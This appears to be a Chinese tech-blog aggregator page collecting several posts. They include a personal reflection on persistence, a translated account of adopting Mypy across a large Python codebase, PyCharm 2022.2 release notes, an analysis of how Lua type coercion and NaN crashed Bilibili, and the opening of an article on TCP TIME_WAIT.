每个人都知道“坚持就是胜利”,坚持一种大受赞扬的一种品质。但是坚持多久才算是“胜利“。比如坚持写日记,能坚持一年,会让人觉得挺不错了。但是难道坚持一个月就没有意义了吗。

我觉得我之前有些过于放大坚持的定义,以至于对坚持较短时间的事情不屑一顾。比如坚持每天读一篇文章,或者每天看一两页书这样的目标是个不错的目标。但是坚持三天,每天读一篇文章,这样的目标并不足以成为一个目标。但是坚持三天也很了不起,也很有意义。

我的很多日志,都在坚持几个月的过程中记录下来的。尽管没有年复一年的每日坚持,但是我仍然感激那不长时间的坚持带来的记录。

因此,我可以对自己说,没关系,可以从一小段时间开始坚持,即使没坚持住,也没关系。我们仍然可以随时准备出发,重新开始一小段时间的坚持过程。

同时发现一个现象是,自控力是一种与个人状态强相关的一种能力,与其他能力,如编程能力,学习能力不同,自控力是经常性的波动,这很正常。当我身心愉悦的时候,自控力就会随之提高,反之当自己容易emo的时候,就通常会偷懒从而导致自控力降低。因此想要提高自控的几率,保持好的身心健康是至关重要的。

两个“准则”

  • 不为没发生的事情烦心
  • 不为与自己无关的事情烦心

高中的有段时间,我有时会刻意疏远朋友,原因是我当时觉得未来毕业后,大家分隔两地也不会再有联系,现在再好的关系不是浪费时间和感情吗。现在想起来当然是可笑的。因为担心未来还没有发生的事情,就放弃现在的友情和快乐,是非常可笑的。

这个例子固然偏激,还有很多类似的事情,比如担心裁员/经济环境越来越差,就不去正常工作等等。

除此之外,与自己无关的事情也尽量不要去想。这里的与自己无关的事情分为两部分:

  • 自己不参与的事情
  • 自己不能改变的事情

如果有人向我抱怨(比如家人),但是我给了建议他又不听,那么这类事情也会被归类为自己不能改变的事情,我不会再去为这些事情烦心。

开心的事情

最后分享一些这段时间开心的一些事情。

第一件事情是我买了电动车,wow!尽管我住的地方离公司并不远,但是每天早上急急忙忙赶路或者早自行车还是很费劲。电动车给我带来很多幸福感。第一次骑的时候晕车担心会不会不适合我,但很快我就喜欢上了风吹过我耳边的感觉。

第二件事情我要推荐“湿厕巾”这件物品,非常提升生活质量,谁用谁知道。

第三件事是上周电动牙刷坏了,充不上电了。幸运的是之前购买的时候有三年换新的服务,而今天全新的牙刷就寄到了,还是京东快递。感觉动力比之前足了不少,绝对是非常值得庆幸的一件小事。

第四件事就是上周公司的一些活动和游戏得到的一些纪念品,虽然价格廉价,但是仍然非常喜欢。

真正回想起来,开心的事情并不多,也许我需要开始用“开心的事情”的tag来随手记录一下每天的开心事情。

以上就是本次全部内容了,下次见。

by 友人C at September 14, 2022 04:44 AM

September 05, 2022

pythoncat

Spring 使用 Mypy 检查 30 万行代码,总结出 3 大痛点与 6 个技巧

作者:Charlie Marsh
译者:豌豆花下猫@Python猫
英文:Using Mypy in production at Spring (https://notes.crmarsh.com/using-mypy-in-production-at-spring)
Spring ,我们维护了一个大型的 Python 单体代码库(英:monorepo),用上了 Mypy 最严格的配置项,实现了 Mypy 全覆盖。简而言之,这意味着每个函数签名都是带注解的,并且不允许有隐式的 Any 转换。
(译注:此处的 Spring 并不是 Java 中那个著名的 Spring 框架,而是一家生物科技公司,专注于找到与年龄相关的疾病的疗法,2022 年 3 月曾获得比尔&梅琳达·盖茨基金会 120 万美元的资助。)
诚然,代码行数是一个糟糕的衡量标准,但可作一个粗略的估计:我们的代码仓有超过 30 万行 Python 代码,其中大约一半构成了核心的数据平台,另一半是由数据科学家和机器学习研究员编写的终端用户代码。
我有个大胆的猜测,就这个规模而言,这是最全面的加了类型的 Python 代码仓之一。
我们在 2019 年 7 月首次引入了 Mypy,大约一年后实现了全面的类型覆盖,从此成为了快乐的 Mypy 用户。
几周前,我跟 Leo BoytsovErik Bernhardsson 在 Twitter 上对 Python 类型有一次简短的讨论——然后我看到 Will McGugan 也对类型大加赞赏。由于 Mypy 是我们在 Spring 公司发布和迭代 Python 代码的关键部分,我想写一下我们在过去几年中大规模使用它的经验。
**一句话总结:**虽然采用 Mypy 是有代价的(前期和持续的投入、学习曲线等),但我发现它对于维护大型 Python 代码库有着不可估量的价值。Mymy 可能不适合于所有人,但它十分适合我。

Mypy 是什么?

(如果你很熟悉 Mypy,可跳过本节。)
Mypy 是 Python 的一个静态类型检查工具。如果你写过 Python 3,你可能会注意到 Python 支持类型注解,像这样:
def greeting(name: str) -> str:
    return 'Hello ' + name
Python 在 2014 年通过 PEP-484 定义了这种类型注解语法。虽然这些注解是语言的一部分,但 Python(以及相关的第一方工具)实际上并不拿它们来强制做到类型安全。
相反,类型检查通过第三方工具来实现。Mypy 就是这样的工具。Facebook 的 Pyre 也是这样的工具——但就我所知,Mypy 更受欢迎(Mypy 在 GitHub 上有两倍多的星星,它是 Pants 默认使用的工具)。IntelliJ 也有自己的类型检查工具,支持在 PyCharm 中实现类型推断。这些工具都声称自己“兼容 PEP-484”,因为它们使用 Python 本身定义的类型注解。
(译注:最著名的类型检查工具还有谷歌的pytype 和微软的pyright ,关于基本情况介绍与对比,可查阅这篇文章
换句话说:Python 认为自己的责任是定义类型注解的语法和语义(尽管 PEP-484 本身很大程度上受到了 Mypy 现有版本的启发),但有意让第三方工具来检查这些语义。
请注意,当你使用像 Mypy 这样的工具时,你是在 Python 本身之外运行它的——比如,当你运行mypy path/to/file.py 后,Mypy 会把推断出的违规代码都吐出来。Python 在运行时显露但不利用那些类型注解。
(顺便一提:在写本文时,我了解到相比于 Pypy 这样的项目,Mypy 最初有着非常不同的目标。那时还没有 PEP-484(它的灵感来自 Mypy!),所以 Mypy 定义了自己的语法,与 Python 不同,并实现了自己的运行时(也就是说,Mypy 代码是通过 Mypy 执行的)。当时,Mypy 的目标之一是利用静态类型、不可变性等来提高性能——而且明确地避开了与 CPython 兼容。Mypy 在 2013 年切换到兼容 Python 的语法,而 PEP-484 在 2015 年才推出。(“使用静态类型加速 Python”的概念催生了 Mypyc,它仍然是一个活跃的项目,可用于编译 Mypy 本身。))

在 Spring 集成 Mypy

我们在 2019 年 7 月将 Mypy 引入代码库(#1724)。当首次发起提议时,我们有两个主要的考虑:
  1. 虽然 Mypy 在 2012 年的 PyCon 芬兰大会上首次亮相,并在 2015 年初发布了兼容 PEP-484 的版本,但它仍然是一个相当新的工具——至少对我们来说是这样。尽管我们在一些相当大的 Python 代码库上工作过(在可汗学院和其它地方),但团队中没有人使用过它。
  2. 像其它增量类型检查工具一样(例如 Flow),随着代码库的注解越来越多,Mypy 的价值会与时俱增。由于 Mypy 可以并且将会用最少的注解捕获 bug,所以你在代码库上投入注解的时间越多,它就会变得越有价值。
尽管有所犹豫,我们还是决定给 Mypy 一个机会。在公司内部,我们有强烈偏好于静态类型的工程师文化(除了 Python,我们写了很多 Rust 和 TypeScript)。所以,我们准备使用 Mypy。
我们首先类型化了一些文件。一年后,我们完成了全部代码的类型化(#2622),并升级到最严格的 Mypy 设置(最关键的是 disallow_untyped_defs ,它要求对所有函数签名进行注解),从那时起,我们一直维护着这些设置。(Wolt 团队有一篇很好的文章,他们称之为“专业级的 Mypy 配置”,巧合的是,我们使用的正是这种配置。)

Mypy 配置:https://blog.wolt.com/engineering/2021/09/30/professional-grade-mypy-configuration/

反馈

总体而言:我对 Mypy 持积极的看法。 作为核心基础设施的开发人员(跨服务和跨团队使用的公共库),我认为它极其有用。
我将在以后的任何 Python 项目中继续使用它。

好处

Zulip 早在 2016 年写了一篇漂亮的文章,内容关于使用 Mypy 的好处(这篇文章也被收入了 Mypy 官方文档 中)。

Zulip 博文:https://blog.zulip.com/2016/10/13/static-types-in-python-oh-mypy/#benefitsofusingmypy

我不想重述静态类型的所有好处(它很好),但我想简要地强调他们在帖子中提到的几个好处:
  1. 改善可读性:有了类型注解,代码趋向于自描述(与文档字符串不同,这种描述的准确性可以静态地强制执行)。(英:self-documenting)
  2. **捕获错误:**是真的!Mypy 确实能找出 bug。从始至终。
  3. **自信地重构:**这是 Mypy 最有影响力的一个好处。有了 Mypy 的广泛覆盖,我可以自信地发布涉及数百甚至数千个文件的更改。当然,这与上一条好处有关——我们用 Mypy 找出的大多数 bug 都是在重构时发现的。
第三点的价值怎么强调都不为过。毫不夸张地说,在 Mypy 的帮助下,我发布更改的速度快了十倍,甚至快了一百倍。
虽然这是完全主观的,但在写这篇文章时,我意识到:我信任 Mypy。虽然程度还不及,比如说 OCaml 编译器,但它完全改变了我维护 Python 代码的关系,我无法想象回到没有注解的世界。

痛点

Zulip 的帖子同样强调了他们在迁移 Mypy 时所经历的痛点(与静态代码分析工具的交互,循环导入)。
坦率地说,我在 Mypy 上经历的痛点与 Zulip 文章中提到的不一样。我把它们分成三类:
  1. 外部库缺乏类型注解
  2. Mypy 学习曲线
  3. 对抗类型系统
让我们来逐一回顾一下:

1. 外部库缺乏类型注解

最重要的痛点是,我们引入的大多数第三方 Python 库要么是无类型的,要么不兼容 PEP-561。在实践中,这意味着对这些外部库的引用会被解析为不兼容,这会大大削弱类型的覆盖率。
每当在环境里添加一个第三方库时,我们都会在mypy.ini 里添加一个许可条目,它告诉 Mypy 要忽略那些模块的类型注解(有类型或提供类型存根的库,比较罕见):
[mypy-altair.*]
ignore_missing_imports = True

[mypy-apache_beam.*]
ignore_missing_imports = True

[mypy-bokeh.*]
ignore_missing_imports = True

...
由于有了这样的安全出口,即使是随便写的注解也不会生效。例如,Mypy 允许这样做:
import pandas as pd

def return_data_frame() -> pd.DataFrame:
    """Mypy interprets pd.DataFrame as Any, so returning a str is fine!"""
    return "Hello, world!"
除了第三方库,我们在 Python 标准库上也遇到了一些不顺。例如,functools.lru_cache 尽管在 typeshed 里有类型注解,但由于复杂的原因,它不保留底层函数的签名,所以任何用 @functools.lru_cache 装饰的函数都会被移除所有类型注解。
例如,Mypy 允许这样做:
import functools

@functools.lru_cache
def add_one(x: float) -> float:
    return x + 1

add_one("Hello, world!")
第三方库的情况正在改善。例如,NumPy 在 1.20 版本中开始提供类型。Pandas 也有一系列公开的类型存根 ,但它们被标记为不完整的。(添加存根到这些库是非常重要的,这是一个巨大的成就!)另外值得一提的是,我最近在 Twitter 上看到了 Wolt 的 Python 项目模板 ,它也默认包括类型。
所以,类型正在变得不再罕见。过去当我们添加一个有类型注解的依赖时,我会感到惊讶。有类型注解的库还是少数,并未成为主流。

2. Mypy 学习曲线

大多数加入 Spring 的人没有使用过 Mypy(写过 Python),尽管他们基本知道并熟悉 Python 的类型注解语法。
同样地,在面试中,候选人往往不熟悉typing 模块。我通常在跟候选人作广泛的技术讨论时,会展示一个使用了typing.Protocol 的代码片段,我不记得有任何候选人看到过这个特定的构造——当然,这完全没问题!但这体现了 typing 在 Python 生态的流行程度。
所以,当我们招募团队成员时,Mypy 往往是他们必须学习的新东西。虽然类型注解语法的基础很简单,但我们经常听到这样的问题:“为什么 Mypy 会这样?”、“为什么 Mypy 在这里报错?”等等。
例如,这是一个通常需要解释的例子:
if condition:
	value: str = "Hello, world"
else:
  # Not ok -- we declared `value` as `str`, and this is `None`!
  value = None

...

if condition:
	value: str = "Hello, world"
else:
  # Not ok -- we already declared the type of `value`.
  value: Optional[str] = None

...

# This is ok!
if condition:
	value: Optional[str] = "Hello, world"
else:
  value = None
另外,还有一个容易混淆的例子:
from typing import Literal

def my_func(value: Literal['a', 'b']) -> None:
  ...

for value in ('a', 'b'):
	# Not ok -- `value` is `str`, not `Literal['a', 'b']`.
  my_func(value)
当解释之后,这些例子的“原因”是有道理的,但我不可否认的是,团队成员需要耗费时间去熟悉 Mypy。有趣的是,我们团队中有人说 PyCharm 的类型辅助感觉还不如在同一个 IDE 中使用 TypeScript 得到的有用和完整(即使有足够的静态类型)。不幸的是,这只是使用 Mypy 的代价。
除了学习曲线之外,还有持续地注解函数和变量的开销。我曾建议对某些“种类”的代码(如探索性数据分析)放宽我们的 Mypy 规则——然而,团队的感觉是注解是值得的,这件事很酷。

3. 对抗类型系统

在编写代码时,我会尽量避免几件事,以免导致自己与类型系统作斗争:写出我知道可行的代码,并强迫 Mypy 接受。
首先是@overload ,来自typing 模块:非常强大,但很难正确使用。当然,如果需要重载一个方法,我就会使用它——但是,就像我说的,如果可以的话,我宁可避免它。
基本原理很简单:
@overload
def clean(s: str) -> str:
    ...

@overload
def clean(s: None) -> None:
    ...

def clean(s: Optional[str]) -> Optional[str]:
    if s:
        return s.strip().replace("\u00a0", " ")
    else:
        return None
但通常,我们想要做一些事情,比如“基于布尔值返回不同的类型,带有默认值”,这需要这样的技巧:
@overload
def lookup(
    paths: Iterable[str], *, strict: Literal[False]
) -> Mapping[str, Optional[str]]:
    ...


@overload
def lookup(
    paths: Iterable[str], *, strict: Literal[True]
) -> Mapping[str, str]:
    ...


@overload
def lookup(
    paths: Iterable[str]
) -> Mapping[str, Optional[str]]:
    ...


def lookup(
    paths: Iterable[str], *, strict: Literal[True, False] = False
) -> Any:
    pass
即使这是一个 hack——你不能传一个boolfind_many_latest,你必须传一个字面量 TrueFalse
同样地,我也遇到过其它问题,使用 @typing.overload 或者@overload 、在类方法中使用@overload ,等等。
其次是TypedDict ,同样来自typing 模块:可能很有用,但往往会产生笨拙的代码。
例如,你不能解构一个TypedDict ——它必须用字面量 key 构造——所以下方第二种写法是行不通的:
from typing import TypedDict

class Point(TypedDict):
    x: float
    y: float

a: Point = {"x": 1, "y": 2}

# error: Expected TypedDict key to be string literal
b: Point = {**a, "y": 3}
在实践中,很难用TypedDict对象做一些 Pythonic 的事情。我最终倾向于使用 dataclasstyping.NamedTuple 对象。
第三是装饰器。Mypy 的 文档 对保留签名的装饰器和装饰器工厂有一个规范的建议。它很先进,但确实有效:
F = TypeVar("F", bound=Callable[..., Any])

def decorator(func: F) -> F:
    def wrapper(*args: Any, **kwargs: Any):
        return func(*args, **kwargs)

    return cast(F, wrapper)

@decorator
def f(a: int) -> str:
    return str(a)
但是,我发现使用装饰器做任何花哨的事情(特别是不保留签名的情况),都会导致代码难以类型化或者充斥着强制类型转换。
这可能是一件好事!Mypy 确实改变了我编写 Python 的方式:耍小聪明的代码更难被正确地类型化,因此我尽量避免编写讨巧的代码。
(装饰器的另一个问题是我前面提过的@functools.lru_cache :由于装饰器最终定义了一个全新的函数,所以如果你不正确地注解代码,就可能会出现严重而令人惊讶的错误。)
我对循环导入也有类似的感觉——由于要导入类型作为注解使用,这就可能导致出现本可避免的循环导入(这也是 Zulip 团队强调的一个痛点)。虽然循环导入是 Mypy 的一个痛点*,*但这通常意味着系统或代码本身存在着设计缺陷,这是 Mypy 强迫我们去考虑的问题。
不过,根据我的经验,即使是经验丰富的 Mypy 用户,在类型检查通过之前,他们也需对本来可以正常工作的代码进行一两处更正。
(顺便说一下:Python 3.10 使用ParamSpec 对装饰器的情况作了重大的改进。)

提示与技巧

最后,我要介绍几个在使用 Mypy 时很有用的技巧。

1. reveal_type

在代码中添加reveal_type *,*可以让 Mypy 在对文件进行类型检查时,显示出变量的推断类型。这是非常非常非常有用的。
最简单的例子是:
# No need to import anything. Just call `reveal_type`.
# Your editor will flag it as an undefined reference -- just ignore that.
x = 1
reveal_type(x)  # Revealed type is "builtins.int"
当你处理泛型时,reveal_type 特别地有用,因为它可以帮助你理解泛型是如何被“填充”的、类型是否被缩小了,等等。

2. Mypy 作为一个库

Mypy 可以用作一个运行时库!
我们内部有一个工作流编排库,看起来有点像 Flyte 或 Prefect。细节并不重要,但值得注意的是,它是完全类型化的——因此我们可以静态地提升待运行任务的类型安全性,因为它们被链接在一起。
把类型弄准确是非常具有挑战性的。为了确保它完好,不被意外的Any毒害,我们在一组文件上写了调用 Mypy 的单元测试,并断言 Mypy 抛出的错误能匹配一系列预期内的异常:
def test_check_function(self) -> None:
	  result = api.run(
	      [
	          os.path.join(
	              os.path.dirname(__file__),
	              "type_check_examples/function.py",
	          ),
	          "--no-incremental",
	      ],
	  )
	
	  actual = result[0].splitlines()
	  expected = [
	      # fmt: off
	      'type_check_examples/function.py:14: error: Incompatible return value type (got "str", expected "int")',  # noqa: E501
	      'type_check_examples/function.py:19: error: Missing positional argument "x" in call to "__call__" of "FunctionPipeline"',  # noqa: E501
	      'type_check_examples/function.py:22: error: Argument "x" to "__call__" of "FunctionPipeline" has incompatible type "str"; expected "int"',  # noqa: E501
	      'type_check_examples/function.py:25: note: Revealed type is "builtins.int"',  # noqa: E501
	      'type_check_examples/function.py:28: note: Revealed type is "builtins.int"',  # noqa: E501
	      'type_check_examples/function.py:34: error: Unexpected keyword argument "notify_on" for "options" of "Expression"',  # noqa: E501
	      'pipeline.py:307: note: "options" of "Expression" defined here',  # noqa: E501
	      "Found 4 errors in 1 file (checked 1 source file)",
	      # fmt: on
	  ]
	
	  self.assertEqual(actual, expected)

3. GitHub 上的问题

当搜索如何解决某个类型问题时,我经常会找到 Mypy 的 GitHub Issues (比 Stack Overflow 还多)。它可能是 Mypy 类型相关问题的解决方案和 How-To 的最佳知识源头。你会发现其核心团队(包括 Guido)对重要问题的提示和建议。
主要的缺点是,GitHub Issue 中的每个评论仅仅是某个特定时刻的评论——2018 年的一个问题可能已经解决了,去年的一个变通方案可能有了新的最佳实践。所以在查阅 issue 时,一定要把这一点牢记于心。

4. typing-extensions

typing 模块在每个 Python 版本中都有很多改进,同时,还有一些特性会通过typing-extensions 模块向后移植。
例如,虽然只使用 Python 3.8,但我们借助typing-extensions ,在前面提到的工作流编排库中使用了3.10 版本的ParamSpec。(遗憾的是,PyCharm 似乎不支持通过typing-extensions 引入的ParamSpec 语法,并将其标记为一个错误,但是,还算好吧。)当然,Python 本身语法变化而出现的特性,不能通过typing-extensions 获得。

5. NewType

typing 模块中有很多有用的辅助对象,NewType 是我的最爱之一。
NewType 可让你创建出不同于现有类型的类型。例如,你可以使用NewType 来定义合规的谷歌云存储 URL,而不仅是str 类型,比如:
from typing import NewType

GCSUrl = NewType("GCSUrl", str)

def download_blob(url: GCSUrl) -> None:
    ...

# Incompatible type "str"; expected "GCSUrl"
download_blob("gs://my_bucket/foo/bar/baz.jpg")

# Ok!
download_blob(GCSUrl("gs://my_bucket/foo/bar/baz.jpg"))
通过向download_blob 的调用者指出它的意图,我们使这个函数具备了自描述能力。
我发现 NewType对于将原始类型(如 strint )转换为语义上有意义的类型特别有用。

6. 性能

Mypy 的性能并不是我们的主要问题。Mypy 将类型检查结果保存到缓存中,能加快重复调用的速度(据其文档称:“Mypy 增量地执行类型检查,复用前一次运行的结果,以加快后续运行的速度”)。
在我们最大的服务中运行 mypy,冷缓存大约需要 50-60 秒,热缓存大约需要 1-2 秒。
至少有两种方法可以加速 Mypy,这两种方法都利用了以下的技术(我们内部没有使用):
  1. Mypy 守护进程在后台持续运行 Mypy,让它在内存中保持缓存状态。虽然 Mypy 在运行后将结果缓存到磁盘,但是守护进程确实是更快。(我们使用了一段时间的默认 Mypy 守护进程,但因共享状态导致一些问题后,我禁用了它——我不记得具体细节了。)
  2. 共享远程缓存。如前所述,Mypy 在每次运行后都会将类型检查结果缓存到磁盘——但是如果在新机器或新容器上运行 Mypy(就像在 CI 上一样),则不会有缓存的好处。解决方案是在磁盘上预置一个最近的缓存结果(即,预热缓存)。Mypy 文档概述了这个过程,但它相当复杂,具体内容取决于你自己的设置。我们最终可能会在自己的 CI 系统中启用它——暂时还没有去做。

结论

Mypy 对我们产生了很大的影响,提升了我们发布代码时的信心。虽然采纳它需要付出一定的成本,但我们并不后悔。
除了工具本身的价值之外,Mypy 还是一个让人印象非常深刻的项目,我非常感谢维护者们多年来为它付出的工作。在每一个 Mypy 和 Python 版本中,我们都看到了对 typing模块、注解语法和 Mypy 本身的显著改进。(例如:新的联合类型语法( X|Y)、 ParamSpecTypeAlias,这些都包含在 Python 3.10 中。)
英文原文发布于 2022 年 8 月 21 日。

September 05, 2022 12:00 AM

August 13, 2022

pythoncat

PyCharm 2022.2 发布了,支持最新 Python 3.11 和 PyScript 框架!

英文:Jet Brains官网;翻译:Python猫
通常而言,使用新潮的或者快速发展的技术,可能会挺有挑战性,你可能得经常阅读文档,才能熟悉新的语法、API 和协议。
PyCharm 2022.2 通过提供对 Python 3.11 的语言特性和新的 PyScript 框架的支持,能够帮助你完成这一过程。
让我们来看看它里面有什么吧!

Python 3.11

PyCharm 2022.2 已经为 Python 3.11 中一些主要的功能提供了代码洞察(code insight),例如异常组和 except * 运算符(PEP 654):
以及新的用于 TypedDict 个别键的 Required[] 和 NotRequired[] 标记符号(PEP 655)。

HTTP Client

PyCharm 2022.2 支持 WebSocket 连接。有了这个 API,你可以在给服务端发送消息后,接收由事件驱动的响应,而不需轮询服务器来获取结果。
PyCharm 如今可以基于开箱即用的 HTTP 和 WebSocket 协议来发送请求。ws://wss://  表示的是使用 WebSocket 请求协议。
此外,PyCharm 2022.2 还提供了一种更简单的方法来选择运行环境——使用代码侧边栏上的图标。原文
若要启用此功能,请从*“Run with*”下拉框中选择“Select Environment Before Run”选项。

用于设置远程解释器的新 UI

PyCharm 2022.2 引入了一个新的向导,用于在远程目标上设置解释器(如 WSL、SSH、Docker、Docker Compose 或 Vagrant)。它使得设置的过程更加结构化且易于操作。
若要找到新向导,依次打开“Settings | Preferences | Python Interpreter”,然后单击窗口右上角的“Add Interpreter”链接,或单击编辑器右下角的解释器,并选择“Add New Interpreter”。

运行当前文件

在没有使用运行配置的情况下,想要立即运行和调试单个文件,请从*“Run/Debug小组件中,选择Run Current File”*。原文
它拥有一个二级菜单,这个菜单提供了几个实用的运行器以及*“Run with Parameters”*操作,你可以在运行文件之前,调整这个操作的运行配置参数。

对 PyScript 的初步支持

PyScript 是一个可在浏览器中创建丰富的 Python 应用的框架,使用 HTML 界面和 Pyodide、WASM 以及其它现代的 web 技术。  +
<py-script> 标签支持执行多行 Python 脚本,可与页面作交互。 PyCharm 2022.2 能够识别 HTML 文件的 <py-script> 标签内的 Python 代码,包括 NumPy 和 Matplotlib 库的语法,并为其提供正确的代码补全和高亮显示。
目前,代码补全和语法高亮功能已支持部分的 PyScript 标签,例如用于声明依赖项的 <py-env> 标签,以及用于创建 REPL 组件的 <py-repl> 标签。

Jupyter Notebooks

PyCharm 2022.2 增强了 Jupyter Notebook 的用户体验。
你可以使用 Jupyter 编辑器工具栏中相应的按钮和图标,更轻松地剪切、复制和粘贴单元格。
你还可以轻松地拖动图像的下边框来调整图像的大小。从而提高这些执行结果的可读性。

数据库管理

PyCharm 2022.2 支持将多个 CSV 文件导入到新的或现有的数据库表中。
操作方法:在“项目视图”中选择多个文件,并将它们拖到数据库 schema 中。
PyCharm 2022.2 有两种解析 SQL 脚本的模式。在 Playground 模式中, 对象根据上下文而被解析。这种模式如今是查询控制台的默认解析模式。
在 Script 模式中,文件的开头部分被解析成上下文,但是,只要脚本中出现“SET CURRENT SCHEMA” 语句,它就会改变用于解析的上下文。这种模式如今是本地文件的默认解析模式。
想要切换解析模式,只需使用工具栏的下拉选项。

Docker

现在,你可以使用新的“Copy Docker Image”操作,轻松地将镜像从一个 Docker 进程复制到另一个 Docker 里,该操作会将镜像保存成一个文件,然后将其推送到所选的连接。
PyCharm 还与 Colima 和 Racher 集成,可支持更多与 Docker 进程建立连接的操作。
此外,PyCharm 2022.2 会在重启 IDE 后,自动连接到 Docker。
默认情况下,此新设置处于启用状态,可以在“Settings | Preferences | Advanced Settings | Docker”关闭。
以上内容是新版本 Pycharm 中最显著的新功能和可用性改进。更多详情,还可查阅 https://www.jetbrains.com/pycharm/whatsnew

August 13, 2022 12:00 AM

July 29, 2022

pythoncat

7 行代码搞崩溃 B 站,原因令人唏嘘!

前不久,哔哩哔哩(一般常称为 B 站)发布了一篇文章《2021.07.13 我们是这样崩的》,详细回顾了他们在 2021.07.13 晚上全站崩溃约 3 小时的至暗时刻,以及万分紧张的故障定位与恢复过程。
那篇文章将定位过程、问题分析、优化改进等方面写得很详细,在我印象中,国内互联网大厂在发生类似事故后,能够如此开诚布公地“检讨”“还债”的并不多见。(值得送上一键三连~~~)
对于搞技术的同学来说,这篇文章是不错的学习材料。而我最为关注的内容,其实是关于编程语言的特性,也就是在代码层面上的细节问题。
在关于问题根因的分析中,我们看到了罪魁祸首的 7 行代码,它是用 Lua 语言写的一个求最大公约数的函数:
简单而言,这个函数预期接收的参数是两个数字(普通的数字或者字符串类型的数字,即两种类型都可以),然而,它的 if 语句却只判断了一种类型(普通数字),忽略了字符串类型的“0”。
在故障发生时,它的第二个参数传入的是字符串类型“0”而不是数字类型 0,导致 if 语句判断失效!
由于 Lua 是动态类型语言,只有在程序运行时才知道传入的参数是什么类型。这属于是所有动态类型语言的特色,在 Python、JavaScript、PHP、Ruby 等动态类型语言中,也会有同样的表现。这不是啥新鲜事物。
然而,真正该死的问题在于,Lua 还是一门弱类型语言,它不像 Python、Ruby、Java 等强类型语言那样,它竟支持隐式类型转换!
在 Lua 中,数字字符串在与普通数字作算术运算时,会将字符串类型隐式地转换成数字类型,如上图所示的“a % b”,如果 b 是字符串类型的数字,那它就会被转换成数字类型!
而在 Python 这种强类型动态类型语言中,这样的转换是不可思议的,数字与字符串作算术运算,能得到的只会是报错:TypeError: unsupported operand type(s) for %: ‘int’ and ‘str’
Lua 语言的这种“字符串隐式变数字”的行为,即使在大意不察觉的情况下,似乎也不会造成太大问题。在 B 站代码中,除了出事故时传的字符串“0”以外,估计它一直接收的都是其它字符串数字,一直也没出问题,显然程序员是把这当成一种便利手段了(因为不需作类型转换)。
然而,不幸的是,Lua 中还有一个特殊的“nan”,它会进一步将这一个“小小的错误”传递下去,直至传到了地老天荒不受控制的死循环里……
在大多数编程语言中,除零操作都是不可饶恕的错误,这跟我们在小学数学课堂上就掌握的常识相吻合:数字零不允许作为除数
掏出手机,打开计算器,看看它是怎么说的:
看到了吧!不能除以0!!!
继续看看 Python 对于这种操作的反应:
ZeroDivisionError 除零错误,这是在捍卫我们根深蒂固的数学常识。
那么,Lua 语言在除零操作后得到的 nan 到底是个什么东西呢?
nan 一般也被称为“NaN”,是“No a Number”的缩写,表示“不是一个数”。它来头不小,是在 1985 年的 IEEE 754 浮点数标准中首次引入的。
直白地讲,它也是数字类型中的一个值,但是表示的是一个“不可表示的值”。也就是说,它表示的是一个非常抽象概念的数。
也许我们比较容易理解另一个抽象的数“无穷大”,因为在中学数学课上就经常接触到,而 nan 也是类似的一种特殊的数,只不过它较为少用且更难以捉摸罢了。
Python 中也有这两个数的存在,即 float(‘inf’) 表示无穷大、float(‘nan’) 表示非数。它们就像是两个黑洞,会吞噬掉任何试图前来“搭讪”的数:
那么,当这两个黑洞相互靠近时,谁的引力更大些呢?请看示例:
看来还是 nan 的优先级更高一筹啊。
然而,尽管 Python 中有 nan,但它并不因为这个数而抛弃前文提到的常识。而同为脚本语言的 Lua 却抛弃了常识, 在出现除零这种非法操作时,它不是报错,而是得到 nan 的结果。
这样的特性简直是自由得过分,也许在某些时候会挺有用吧,但它也会埋下未知的隐患。
回到 B 站的问题代码,弱类型的 Lua 语言由于太过自由,它放行了字符串数字与普通数字的运算,又因为对 nan 过于自由的使用,它放行了数字除零的操作,两次的放行,使得短短几行代码一路畅行不止,一路消耗服务器资源,直到 CPU 100%,直到牵动服务集群故障,直到高可用的多活机房服务不可用,导致全站崩溃 3 小时的事故……
当然了,如果当初写下这段代码的程序员多加一个条件判断,这一次的事故就完全可以避免。从另外的视角看,这就是程序员在递归程序的终止条件上处理不当,不能甩锅给编程语言那两项自由不羁的语言特性。
但是,我相信写下那段代码的程序员大概率是长期使用其它编程语言,现学现卖上手写 Lua,尽管知道 Lua 语言动态弱类型的特点,但思维习惯上仍深受其它语言影响,这才“一时失足、小河翻船”……程序员内心有苦说不出!!
短短的 7 行代码,说简单就简单,说不简单也不简单。本文就不展开说辗转相除法求最大公约数了(说来话长),单单是前面提及的隐式类型转换加上除零得 nan 的细节问题,就足够导致一场大事故了。
从 7 行问题代码中,作为吃瓜群众的我们,能得到些什么收获呢?到底是涨见识了,还是“又学废了”呢?
人生苦短,不求无 Bug,但求读者老爷们赏个一键三连吧~~~

July 29, 2022 12:00 AM

July 19, 2022

coolshell

从一次经历谈 TIME_WAIT 的那些事

今天来讲一讲TCP 的 TIME_WAIT 的问题。这个问题尽人皆知,不过,这次遇到的是不太一样的场景,前两天也解决了,正好写篇文章,顺便把 TIME_WAIT 的那些事都说一说。对了,这个场景,跟我开源的探活小工具 EaseProbe 有关,我先说说这个场景里的问题,然后,顺着这个场景跟大家好好说一下这个事。

问题背景

先说一下背景,EaseProbe 是一个轻量独立的用来探活服务健康状况的小工具,支持http/tcp/shell/ssh/tls/host以及各种中间件的探活,然后,直接发送通知到主流的IM上,如:Slack/Telegram/Discrod/Email/Team,包括国内的企业微信/钉钉/飞书, 非常好用,用过的人都说好 😏

这个探活工具在每次探活的时候,必须要从头开始建立整个网络链接,也就是说,需要从头开始进行DNS查询,建立TCP链接,然后进行通信,再关闭链接。这里,我们不会设置 TCP 的 KeepAlive 重用链接,因为探活工具除了要探活所远端的服务,还要探活整个网络的情况,所以,每次探活都需要从新来过,这样才能捕捉得到整个链路的情况。

但是,这样不断的新建链接和关闭链接,根据TCP的状态机,我们知道这会导致在探测端这边出现的 TIME_WAIT 的 TCP 链接,根据 TCP 协议的定义,这个 TIME_WAIT 需要等待 2倍的MSL 时间,TCP 链接都会被系统回收,在回收之前,这个链接会占用系统的资源,主要是两个资源,一个是文件描述符,这个还好,可以调整,另一个则是端口号,这个是没法调整的,因为作为发起请求的client来说,在对同一个IP上理论上你只有64K的端口号号可用(实际上系统默认只有近30K,从32,768 到 60,999 一共 60999+1-32768=28,232,你可以通过 sysctl net.ipv4.ip_local_port_range 查看  ),如果 TIME_WAIT 过多,会导致TCP无法建立链接,还会因为资源消耗太多导致整个程序甚至整个系统异常。

